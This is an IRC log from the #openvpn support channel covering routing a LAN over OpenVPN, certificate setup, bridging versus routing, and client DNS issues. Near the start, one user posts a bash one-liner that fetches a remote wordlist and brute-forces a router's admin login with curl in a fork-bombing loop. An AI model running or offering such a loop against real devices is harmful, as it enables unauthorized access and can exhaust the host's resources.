21:30 -!- MeanderingCode_ [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Ping timeout: 248 seconds]
21:44 -!- n0sq [~quassel@75-135-14-61.dhcp.krny.ne.charter.com] has quit [Remote host closed the connection]
21:45 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
21:55 < ngharo> haha friend is forgot his local router password
21:55 < ngharo> i got him to forkbomb himself pretty sure
21:55 < ngharo> HOST=192.168.0.1; while :; do for x in $(wget http://www.cotse.com/wordlists/english -O - 2>/dev/null | sort -R); do if [ -n "$(curl --user "admin:$x" --head -q $HOST 2>/dev/null | grep -e 'HTTP.\+ 200')" ]; then echo "$HOST > admin:$x"; fi done & done
21:55 <@vpnHelper> Title: Privacy Service (at www.cotse.com)
21:56 < ngharo> the most crude brute force evar!!
21:57 < pekster> You could have done something more useful like link your friend to http://keepass.inf
21:57 < pekster> http://keepass.info
21:57 <@vpnHelper> Title: KeePass Password Safe (at keepass.info)
21:58 < ngharo> i'll do that when he finds the password ;)
21:59 < pekster> Just reset the stupid password
21:59 -!- MeanderingCode_ [~Meanderin@71-213-175-106.albq.qwest.net] has joined #openvpn
21:59 < pekster> Better yet, run a real OS on there so one can ssh in via pubkeys without passwords (except perhaps one you type to decrypt the local key...)
21:59 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Ping timeout: 256 seconds]
22:09 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Read error: Connection reset by peer]
22:19 -!- setuid [~setuid@99-16-210-3.lightspeed.drbyct.sbcglobal.net] has joined #openvpn
22:21 -!- TypoNe [~itsme@195.197.184.87] has quit [Ping timeout: 246 seconds]
22:21 < setuid> I'm attempting to secure several internal (LAN-side) Windows RDP sessions, so I can attach/manage them directly via the live Internet. I've installed OpenVPN on the Windows side, but… that's it. There's nothing out there describing how to configure OpenVPN to route RDP over that connection.
22:21 < setuid> Has anyone done this before?
22:22 < pekster> I'm sure "someone" has done that before. You want to run OpenVPN on one of the LAN systems and expose the entire LAN to VPN clients?
22:23 < setuid> nope, I want to be able to pinhole from the Internet through my routers to each Windows machine, in a secure, tunneled fashion
22:24 < pekster> So you want a separate openvpn instance on each server? That sounds slightly less than ideal, but you can do that too I suppose
22:24 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
22:24 < pekster> If you have an always-on system, it's a lot cleaner to do that with just 1 server though
22:24 < setuid> That's one idea, or just one instance exposing my internal 10.0.1.x to the tunnel
22:25 < setuid> All of my servers, laptops, etc. are on all the time, about 15 machines here.
22:25 < pekster> Right, so you want exactly what I said initially
22:25 < setuid> I have a big block of static IPs, so I can tunnel through if I need to
22:25 < pekster> You need to get your VPN running to the point that you can connect to it and ping the VPN IP of the server. Start here:
22:26 < pekster> !howto
22:26 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
22:26 < pekster> Then when you have that working, you can expose the server-side LAN to clients with this info:
22:26 < pekster> !serverlan
22:26 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
22:39 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
22:40 < setuid> Do I have to set up my own CA? Or is there one that can sign my keys externally?
22:40 < pekster> You set up your own CA
22:41 < pekster> Besides the CA, you only need a keypair for each client plus the server
22:42 < pekster> You can even authenticate users based on passwords, although you need a backend infrastructure to do that with (a script that validates them, or through use of the PAM plugin for Linux)
22:43 < setuid> My use case is my MacBook Air in a coffee shop pinhole'ing back through my firewall to my Windows laptops inside my office.
22:43 < setuid> So mac client, using Remote Desktop over the VPN to communicate with Windows laptops inside my 10.0.1.x internal LAN
22:44 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
22:44 < pekster> You can do whatever IP can. RDP is no different than pings or streaming webcam from your cat tower
22:45 < pekster> And yes, OpenVPN can transport $arbitrary_protocol over the tunnel just fine
22:46 < pekster> You may want to re-number your LAN, since some coffee shops may use that same network range (if your home network collides with a remote one, it'll cause you issues)
22:46 < setuid> Renumbering is not an option
22:46 < setuid> My internal lag cannot be moved away from 10.0.1.x, in fact, AT&T took away the ability to use that on their routers, so I had to add a second router behind theirs, to continue to function.
22:47 < pekster> Then it's possible you may have conflicts, although it's likely to be somewhat rare (I think 10.0.0/24 is more popular)
22:49 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
22:54 < setuid> Seems like setting this up is a prohibitively complex task, especially on Windows
22:56 < EugeneKay> Get a less shitty ISP.
22:57 < pekster> I'm not sure the IP is the problem if his/her own router is behind the crappy ISP unit
22:57 < pekster> but w/e
22:58 < setuid> EugeneKay, WIsh I could, but unfortunately in this half of my state, AT&T is the only option
22:58 -!- eN_Joy [~zhou3594@jindan.chem.ou.edu] has quit [Quit: leaving]
23:03 -!- setuid [~setuid@99-16-210-3.lightspeed.drbyct.sbcglobal.net] has quit [Quit: sleep calls]
23:37 -!- brute11k [~brute11k@89.249.235.89] has joined #openvpn
23:38 -!- brute11k1 [~brute11k@89.249.235.89] has quit [Ping timeout: 245 seconds]
--- Day changed Fri Feb 15 2013
00:30 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
01:07 -!- b1rkh0ff [~b1rkh0ff@178.77.1.72] has quit [Ping timeout: 256 seconds]
01:20 -!- b1rkh0ff [~b1rkh0ff@178.77.18.35] has joined #openvpn
01:49 < daemoen> hey guys, anyone happen to know if mountain lion is busted again as far as dhcp dns and openvpn is concerned... it was at one point working, but doesnt seem to be now
01:50 < daemoen> figured someone might know =)
01:59 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
02:45 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 255 seconds]
02:45 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:52 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
02:54 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Client Quit]
03:10 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
03:12 -!- zz_AsadH is now known as AsadH
03:16 -!- scoates [~sean@iconoclast.caedmon.net] has quit [Ping timeout: 255 seconds]
03:30 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
03:35 -!- NChief [tomme@unaffiliated/nchief] has quit [Ping timeout: 260 seconds]
03:36 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
04:02 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
04:03 -!- brute11k1 [~brute11k@89.249.235.89] has joined #openvpn
04:03 -!- brute11k [~brute11k@89.249.235.89] has quit [Ping timeout: 264 seconds]
04:05 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 260 seconds]
04:07 -!- brute11k1 [~brute11k@89.249.235.89] has quit [Ping timeout: 248 seconds]
04:07 -!- brute11k [~brute11k@89.249.235.89] has joined #openvpn
04:08 -!- ade_b [~Ade@195.198.34.212] has joined #openvpn
04:08 -!- ade_b [~Ade@195.198.34.212] has quit [Changing host]
04:08 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
04:12 -!- brute11k1 [~brute11k@89.249.235.89] has joined #openvpn
04:12 -!- brute11k [~brute11k@89.249.235.89] has quit [Ping timeout: 240 seconds]
04:14 -!- brute11k [~brute11k@89.249.235.89] has joined #openvpn
04:16 -!- brute11k1 [~brute11k@89.249.235.89] has quit [Ping timeout: 255 seconds]
04:26 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
04:30 -!- MariusIT [~userit@86.120.191.55] has quit [Ping timeout: 252 seconds]
04:37 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
04:38 -!- MariusIT [~userit@86.120.191.55] has joined #openvpn
04:45 -!- MariusIT [~userit@86.120.191.55] has quit [Ping timeout: 248 seconds]
04:50 -!- MariusIT [~userit@86.120.191.55] has joined #openvpn
05:09 -!- brute11k [~brute11k@89.249.235.89] has quit [Ping timeout: 256 seconds]
05:10 -!- brute11k [~brute11k@89.249.235.89] has joined #openvpn
05:11 -!- MariusIT2 [~userit@86.120.191.55] has joined #openvpn
05:12 -!- MariusIT [~userit@86.120.191.55] has quit [Ping timeout: 248 seconds]
05:12 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
05:25 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Quit: http://quassel-irc.org - Chat comfortably. Anywhere.]
05:35 -!- NChief [tomme@unaffiliated/nchief] has joined #openvpn
05:48 -!- xbanux [~xbanux@115.254.75.113] has joined #openvpn
05:50 -!- knobo [~bohmer@81.175.44.217] has quit [Remote host closed the connection]
06:41 -!- p3rror [~mezgani@2001:0:53aa:64c:1081:387a:d607:9373] has joined #openvpn
06:44 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 260 seconds]
06:46 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
07:01 -!- amir [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
07:01 -!- master_of_master [~master_of@p57B52CEE.dip.t-dialin.net] has quit [Read error: Operation timed out]
07:05 -!- master_of_master [~master_of@p57B54A92.dip.t-dialin.net] has joined #openvpn
07:05 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
07:08 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
07:21 -!- p3rror [~mezgani@2001:0:53aa:64c:1081:387a:d607:9373] has quit [Ping timeout: 245 seconds]
07:34 -!- p3rror [~mezgani@2001:0:53aa:64c:38c3:387a:d606:6e84] has joined #openvpn
07:39 -!- xbanux [~xbanux@115.254.75.113] has quit [Ping timeout: 276 seconds]
07:43 -!- JackWinter [~jack@ppp-256.vo.lu] has quit [Quit: ZNC - http://znc.in]
07:46 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
07:51 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
07:52 -!- JackWinter [~jack@ppp-256.vo.lu] has quit [Quit: ZNC - http://znc.in]
07:52 -!- p3rror [~mezgani@2001:0:53aa:64c:38c3:387a:d606:6e84] has quit [Ping timeout: 245 seconds]
07:55 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
07:59 -!- JackWinter [~jack@ppp-256.vo.lu] has left #openvpn []
08:00 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
08:01 -!- JackWinter [~jack@ppp-256.vo.lu] has left #openvpn ["Konversation terminated!"]
08:02 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
08:05 -!- JackWinter [~jack@ppp-256.vo.lu] has left #openvpn []
08:06 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
08:09 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 252 seconds]
08:09 -!- p3rror [~mezgani@2001:0:53aa:64c:6a:387a:d607:2e76] has joined #openvpn
08:20 -!- MeanderingCode_ [~Meanderin@71-213-175-106.albq.qwest.net] has quit [Remote host closed the connection]
08:21 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
08:23 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
08:24 -!- p3rror [~mezgani@2001:0:53aa:64c:6a:387a:d607:2e76] has quit [Ping timeout: 245 seconds]
08:33 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
08:39 -!- p3rror [~mezgani@2001:0:53aa:64c:3070:387a:d606:6f0a] has joined #openvpn
08:40 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
08:44 -!- MariusIT2 is now known as MariusIT
08:56 -!- p3rror [~mezgani@2001:0:53aa:64c:3070:387a:d606:6f0a] has quit [Ping timeout: 245 seconds]
09:00 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 248 seconds]
09:00 -!- xbanux [~xbanux@triband-mum-59.182.176.161.mtnl.net.in] has joined #openvpn
09:10 -!- p3rror [~mezgani@2001:0:53aa:64c:1059:387a:d673:dbaf] has joined #openvpn
09:12 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
09:14 -!- p3rror [~mezgani@2001:0:53aa:64c:1059:387a:d673:dbaf] has quit [Max SendQ exceeded]
09:14 -!- p3rror [~mezgani@2001:0:53aa:64c:1059:387a:d673:dbaf] has joined #openvpn
09:16 -!- MariusIT2 [~userit@86.120.191.55] has joined #openvpn
09:20 -!- MariusIT [~userit@86.120.191.55] has quit [Ping timeout: 248 seconds]
09:20 -!- AsadH is now known as zz_AsadH
09:26 -!- p3rror [~mezgani@2001:0:53aa:64c:1059:387a:d673:dbaf] has quit [Ping timeout: 245 seconds]
09:36 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 240 seconds]
09:38 -!- nullsign [~nullsign@daedalus.genom.com] has left #openvpn []
09:38 -!- p3rror [~mezgani@2001:0:53aa:64c:4e6:387a:d607:3a4e] has joined #openvpn
09:44 -!- p3rror [~mezgani@2001:0:53aa:64c:4e6:387a:d607:3a4e] has quit [Ping timeout: 245 seconds]
09:51 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
09:58 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:02 -!- btjanes [~btjanes@99-169-248-155.lightspeed.iplsin.sbcglobal.net] has joined #openvpn
10:05 < btjanes> hi, so is there a trick in getting Mountain Lion to honor the DNS settings that are pushed from the server? the resolv.conf has the settings but from what i've read, ML doesn't honor that file
10:06 < btjanes> for now, i'm just adding our lan hosts into my /etc/hosts file
10:06 < btjanes> which is obviously annoying
10:16 -!- ASUchander [~asuchande@cpe-071-070-224-227.nc.res.rr.com] has joined #openvpn
10:17 < ASUchander> Hello if I have a CA with a keylength of 4096, am I required to make my dh parameters 4096 as well?
10:18 < ASUchander> I'm assuming a larger key length will slow down the initial connection and key negotiation, but then everything else will be relatively the same speed as with a smaller keylength, since it switches to a shared-secret encryption method, right?
10:19 -!- zz_AsadH is now known as AsadH
10:20 < EugeneKay> No, DH doesn't have to match key size
10:20 < EugeneKay> And correct.
10:21 < ASUchander> thanks EugeneKay :-)
10:25 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
10:30 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
10:31 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
10:40 -!- xbanux [~xbanux@triband-mum-59.182.176.161.mtnl.net.in] has quit [Ping timeout: 244 seconds]
10:40 -!- xbanux [~xbanux@triband-mum-59.182.176.161.mtnl.net.in] has joined #openvpn
10:43 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
10:47 -!- AsadH is now known as zz_AsadH
10:51 -!- raidz_away is now known as raidz
11:05 -!- p3rror [~mezgani@2001:0:53aa:64c:2c17:6329:d606:8bc8] has joined #openvpn
11:15 -!- ngharo [~ngharo@shepard.sypherz.com] has quit [Quit: Reconnecting]
11:15 -!- ngharo [~ngharo@hacked.thegov.us] has joined #openvpn
11:17 -!- gladiatr [~sdspence@24.124.15.166] has joined #openvpn
11:17 -!- gladiatr [~sdspence@24.124.15.166] has quit [Changing host]
11:17 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has joined #openvpn
11:18 -!- p3rror [~mezgani@2001:0:53aa:64c:2c17:6329:d606:8bc8] has quit [Ping timeout: 245 seconds]
11:25 -!- uberushaximus [~uberushax@shepard.sypherz.com] has quit [Quit: Reconnecting]
11:25 -!- uberushaximus [~uberushax@hacked.thegov.us] has joined #openvpn
11:34 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
11:53 -!- bandroidx [~bandroidx@2605:6400:2:fed5:4:0:414:11] has quit [Ping timeout: 276 seconds]
11:55 -!- zz_AsadH is now known as AsadH
12:01 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
12:11 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
12:11 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
12:11 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
12:11 -!- mode/#openvpn [+o krzee] by ChanServ
12:11 <@krzee> http://www.kittyfeet.com/2013/02/14/jeff-from-liberty-private-network-talks-about-his-secure-bat-phones/   <-- my first interview :D
12:11 <@vpnHelper> Title: » Jeff from Liberty Private Network Talks About His Secure Bat Phones. Anarchy Gumbo Podcast (at www.kittyfeet.com)
12:13 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
12:16 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
12:17 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
12:20 -!- bandroidx [~bandroidx@2605:6400:2:fed5:4:0:414:11] has joined #openvpn
12:24 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 252 seconds]
12:31 -!- jdcaddie [~jdcaddie@unaffiliated/jdcaddie] has joined #openvpn
12:33 < jdcaddie> Does anyone have a moment to answer a couple questions
12:33 <@krzee> !ask
12:33 <@vpnHelper> "ask" is don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc
12:33 -!- Shway [~Shway@216.208.252.66] has joined #openvpn
12:33 <@krzee> (yep, vpnHelper knows all)
12:34 < jdcaddie> Is there a way to do a mass import of users from LDAP using OpenVPN Access Server?
12:35 <@krzee> !as
12:35 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
12:36 <@krzee> community channel supports community version, AS channel supports AS version
12:36 -!- jdcaddie [~jdcaddie@unaffiliated/jdcaddie] has left #openvpn ["Leaving"]
12:37 -!- btjanes [~btjanes@99-169-248-155.lightspeed.iplsin.sbcglobal.net] has left #openvpn []
12:37 -!- btjanes [~btjanes@99-169-248-155.lightspeed.iplsin.sbcglobal.net] has joined #openvpn
12:37 -!- btjanes [~btjanes@99-169-248-155.lightspeed.iplsin.sbcglobal.net] has left #openvpn []
12:39 < daemoen> hey guys, what is the *proper* way of adding multiple search paths via push dhcp-option DOMAIN... is it semi colon, new entry for each, space dileneated?
12:39 <@plaisthos> not supported
12:39 <@plaisthos> dhcp itself does not support that
12:39 < daemoen> what about option 119 ?
12:40 <@plaisthos> well that might work but iirc not all client support it and I think there is no openvpn dhcp option for that
12:41 < daemoen> right, ms has a hard time working with dhcp options in general, unless youre binding to AD
12:42 < daemoen> most other oses (linux, bsd, osx) can all support 119, so was curious :)
12:42 <@krzee> http://tools.ietf.org/html/rfc3397#page-2
12:42 <@vpnHelper> Title: RFC 3397 - I-D Tag: (at tools.ietf.org)
12:42 <@plaisthos> feel free to submit patches :)
12:43 <@krzee> =]
12:46 -!- tyteen4a03 [T4@n218250226180.netvigator.com] has quit [Read error: Connection reset by peer]
12:47 -!- tyteen4a03 [T4@n218250226180.netvigator.com] has joined #openvpn
13:12 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
13:16 -!- matsh [divine@nanogene.org] has joined #openvpn
13:22 -!- dazo is now known as dazo_afk
13:29 -!- NuclearMeltdown [~rep@AntiLiberal-1-pt.tunnel.tserv9.chi1.ipv6.he.net] has quit [Changing host]
13:29 -!- NuclearMeltdown [~rep@unaffiliated/antiliberal] has joined #openvpn
13:40 -!- xbanux [~xbanux@triband-mum-59.182.176.161.mtnl.net.in] has quit [Ping timeout: 252 seconds]
13:47 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 256 seconds]
13:50 -!- tyteen4a03 [T4@n218250226180.netvigator.com] has quit [Quit: Leaving]
13:51 -!- tyteen4a- [tyteen4a03@69.50.229.69] has joined #openvpn
13:52 -!- tyteen4a- is now known as tyteen4a03
14:17 -!- kbarry [~chatzilla@rrcs-24-153-167-50.sw.biz.rr.com] has joined #openvpn
14:18 < kbarry> I got my openvpn connections working several months ago. They are not working now. I am onsite with my vpn server (on a buffalo router). How might i go about testing the vpn connection without having to go to an alternate location first?
14:19 <@krzee> by looking at the logs
14:19 < kbarry> Anyone here?
14:19 < kbarry> krzee you mind helping me understand my logs?
14:19 <@krzee> !logs
14:19 < kbarry> pastebin?
14:19 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
14:20 < kbarry> !logs
14:20 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
14:21 < kbarry> gotta figure out how to make verb set to 5 :)
14:22 <@krzee> you can post what you have for now
14:22 <@krzee> if i need 5 ill tell ya
14:22 <@krzee> but you would do so by putting "verb 5" in your configs
14:23 < kbarry> http://pastebin.com/HZckRdeW
14:23 < kbarry> Thanks for responding.
14:24 < kbarry> vpn/openvpn is a bit mysterious to me.
14:24 <@krzee> are you using the same subnet for --server as the lan you are on?
14:24 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
14:24 < kbarry> I don't know how to answer that. The router thats acting as the server for the openvpn is also acting as the wireless accesspoint.
14:25 <@krzee> actually i dont know why im asking, i see that you are
14:25 < kbarry> i'm not a network expert by an stretch f the imagination.
14:25 <@krzee> !goal
14:25 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
14:27 < kbarry> I want to do 2 things. #1: Allow remote users (like on a laptop) to access a certain file on our server here at our store. (accounting file), and 2, if possible, create a persistant connection between our store and out workshop (20 miles apart).
14:27 <@krzee> between the 2 lans?
14:27 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
14:27 <@krzee> those are both very doable
14:27 <@krzee> do you have local access to the server right now?
14:27 < kbarry> in goal 2, To simplify it, if someone get "connected" to the wireless in city A, i want them to also hae access to the file server at location B
14:28 < kbarry> to be clear, there are 2 server, one i will callt he fileserver (With the file i wanna share),
14:28 <@krzee> what devices will openvpn be running on on each side?
14:28 <@krzee> on a server? on routers?
14:28 < kbarry> the other being the openvpn server, and i will call it the "server"
14:29 < kbarry> Goal 1 is more pressing.
14:29 < kbarry> server vpnserver is a router.
14:29 < kbarry>  DD-WRT Buffalo WHR-G54S
14:30 < kbarry> its also the accesspoint for this location.
14:30 <@krzee> nice
14:30 <@krzee> that cuts out a step
14:30 <@krzee> how about the client at the other office?
14:30 < kbarry> I used to have the computer i am on connecting from home.
14:30 <@krzee> another vpn router?
14:31 < kbarry> for now, it may be simplier (i dont have another buffalo router) to set the desktops to connect as a service at startup.
14:31 < kbarry> for whatever reason it seemed to stop working,
14:31 < kbarry> never did figure out what was going on, and as i didn't have a great need, i just let it alone till recently.
14:33 < pekster> At the very least "All TAP-Win32 adapters on this system are currently in use." is a problem
14:33 < EugeneKay> There's a shortcut in the start menu to add a second adapter
14:33 < kbarry> hmm, i just noticed one of my "netwokr cars" was diabled.
14:34 < pekster> EugeneKay, FYI there's a bug in 2.3.0 and it's not in the start menu on Windows unless the user manually extracts tap-windows.exe from the install archive (eg: 7-zip) and re-installs it with the utilities
14:34 < pekster> I sent a report to the mailing list, so hopefully that'll get fixed in the next release
14:34 < EugeneKay> Wow, that sucks.
14:34 < pekster> Indeed
14:34 <@krzee> kbarry, you only need 1 machine on the office lan
14:35 <@krzee> you can route lans over a single vpn connection
14:35 <@krzee> !serverlan
14:35 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
14:36 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
14:36 < kbarry> :) Thanks, it seems stupid now, but i think that ight have been the problem on this computer (the disabled nic)
14:37 <@krzee> looks like bigger problems too tho
14:37 <@krzee> pastebin your server config
14:37 < kbarry> hmm, lemme see if i know how to get that.
14:38 < pekster> EugeneKay: Ah, as of 10h ago a new 2.3.0 (build I004) fixes this
14:39 < kbarry> http://pastebin.com/WKkfqDeV
14:39 < kbarry> my laptop is "connected" now, even while on location.
14:40 <@krzee> oh i see you're on location
14:40 < kbarry> i am now,
14:40 < kbarry> it might not work when offsite.
14:49 < kbarry> krzee what seems to be wrong with out server? You mentioned there might be a bigger problem.
14:49 <@krzee> oh i see
14:49 <@krzee> you're bridging
14:49 <@krzee> may i ask why?
14:49 < kbarry> i was blindly following a tutorial.
14:49 < kbarry> :)
14:49 <@krzee> ahh
14:49 <@krzee> wanna do it the right way?
14:50 < kbarry> Do i EVER!
14:50 <@krzee> you use linux?
14:50 < kbarry> no. It has cooties.
14:51 < kbarry> actually, i respect that its more that i can hndle  for my needs :)
14:51 < kbarry> i do have it in one of y environments but have someone else who actually knows linux administer it.
14:53 < kbarry> vpn was working on a stationary computer at our other location (its both a home and business lan, and a anti-porn device was installed on the network, and the vpn stopped working from that location.
14:53 < kbarry> its a separate problem all together,
14:53 < kbarry> if there is a "the right way to do it" tutorial, i can probable try it on my own, and get back with ya'll here if i run into trouble.
14:54 <@krzee> ok
14:54 < kbarry> btw, what does "bridging" mean?
14:54 <@krzee> !sample
14:54 <@vpnHelper> "sample" is (#1) http://www.ircpimps.org/openvpn.configs for a working sample config or (#2) DO NOT use these configs until you understand the commands in them, read up on each first column of the configs in the manpage (see !man) or (#3) these configs are for a basic multi-user vpn, which you can then build upon to add lans or internet redirecting
14:54 <@krzee> !tunortap
14:54 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
14:54 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
14:55 <@krzee> !route
14:55 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide
14:55 <@krzee> but if you had access to linux, this would be easy:
14:55 <@krzee> !confgen
14:55 <@vpnHelper> "confgen" is (#1) http://www.doeshosting.com/code/openvpn-confgen.tgz for the bash config generator or (#2) you can use svn co http://www.secure-computing.net/svn/trunk/openvpn-confgen/ or (#3) you must run this in bash
14:55 <@krzee> i made a configuration file generator =]
14:55 < kbarry> hmmmmmmmmmm.
14:55 < kbarry> is it a oen time use kinda thing
14:56 <@krzee> yep, just makes config files
14:56 < kbarry> meaning, could i use a linux environment for setup, but nt need linux after that?
14:56 < kbarry> the linux machine wouldnt be acting as a server or anything?
14:56 <@krzee> it just helps you make your configs
14:56 < kbarry> just setup.?
14:57 < kbarry> alright.
14:57 < kbarry> I'm gonna see if i can get a linux environment avaliable.
15:01 < kbarry> crap,
15:01 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
15:01 < kbarry> the config template you sent me,
15:01 < kbarry> i don't know what the parameters mean, and at the same time, i cant call the man for them.
15:02 -!- zhvtar [~zhvtar@unaffiliated/zhvtar] has joined #openvpn
15:02 < zhvtar> Hello All
15:02 < rob0> why not?
15:02 < rob0> !man
15:02 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend!
15:03 < kbarry> Awesom. Thanks.
15:03 < zhvtar> I am looking to set up two separate vpns; can this be done with a single server?
15:03 < kbarry> krzee do you recomment the linked tempalted but with my settings.
15:04 < rob0> zhvtar, you can run as many instances of openvpn as your system can handle (or as many as its administrator can juggle.)
15:04 <@krzee> zhvtar, you can run as many as you want, but each must use its own ip:port:proto
15:04 <@krzee> each with its own config
15:04 -!- gedO [~quassel@client-178-16-35-81.inturbo.lt] has joined #openvpn
15:05 <@krzee> kbarry, ignore the sample if using the confgen
15:06 < kbarry> well, as i think on it, getting the confgen working may be a more difficult route.
15:06 <@krzee> ok
15:06 < kbarry> no pun intended.
15:06 < zhvtar> krzee: ip means the private range, not the external isp ip right?
